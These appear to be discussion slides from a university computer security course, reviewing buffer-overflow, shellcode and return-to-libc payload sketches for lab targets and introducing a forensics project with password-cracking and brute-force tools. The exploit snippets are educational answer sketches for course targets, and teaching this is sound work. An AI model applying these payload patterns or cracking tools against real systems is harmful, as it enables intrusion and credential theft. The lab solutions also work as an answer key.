EECS 388 Discussion

Review Appsec / Introduce Forensics

Appsec Review - Easy

Target 0 - basic overflow exploit:

```
name = “drhurd”
print name + (10 - len(name)) * ‘\x0’ + “A+\0”
```

Target 1 - return address overwrite:

```
dist_to_return = 16
good_grade_addr = pack(“<I”, 0x0804efe)
print dist_to_return * “\x0” + good_grade_addr
```

Target 2 - shellcode:

```
buf_addr = pack(“<I”, 0xbffeb15c)
dist_to_return = 112
print shellcode + (dist_to_return-len(shellcode))*’\x90’ +
buf_addr
```

Appsec Review - Medium

target 4 - data file exploit

```
print pack("<iIIIIIIIIIII",-6,
<shell code payload 1>,
...
<shell code payload 6>,
<buffer address>,
<file pointer>,
0,
0,
<frame pointer>,
<overwrite return address with the buffer address (points to shellcode)>)
```

target 5 - bypass DEP

```
print 0x90*0x12 + 4 bytes padding + pack("<II", system, ebp+12) + “/bin/sh”
```

target 6 - variable stack position

```
print 0x90*(0x400-len(shellcode)-4) + shellcode + 16 bytes padding + pack("<I", ebp)
```

Forensics Intro

Work to solve a murder case!

- Live and dead analysis on raw disk image
- Password cracking
- Deliver a full report.txt on your findings

Forensics Intro

- Strict no-leaks policy!
  - don’t talk about project with anyone other than your group member
  - don’t want to get fired for jeopardizing an ongoing criminal investigation
  - (bound by the Honor Code)

- Request hints instead!
  - email eecs388-proj5@umich.edu

Forensics Project Tools

- John the Ripper
  - Unix password cracker
- Hydra
  - Remote login brute force tool
- fcrackzip
  - ZIP password cracker
- pdfcrack
  - PDF password cracker

Having trouble? Test out password crackers with simple passwords first.

Autopsy (Tools Cont.)

- Open source computer forensics tool - used in the dead analysis
  - Timeline Analysis
  - Web Artifacts Analysis
  - Keyword Search
  - more!
- Autopsy walkthrough

  -
    ```
    linux: #>sudo apt-get install autopsy
    ```

  -
    ```
    os x:  #>brew install autopsy
    ```